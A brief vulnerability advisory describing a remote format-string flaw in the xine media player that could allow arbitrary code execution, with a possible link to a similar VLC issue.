The 'xine' program is prone to a remote format-string vulnerability because the application fails to properly sanitize user-supplied input before including it in the format-specifier argument of a formatted-printing function.

Successfully exploiting this issue allows remote attackers to execute arbitrary machine code in the context of the application and to compromise affected computers.

This issue may be related to the vulnerability discussed in BID 21852 (VideoLan VLC Media Player Remote Format String Vulnerability); this has not been confirmed.
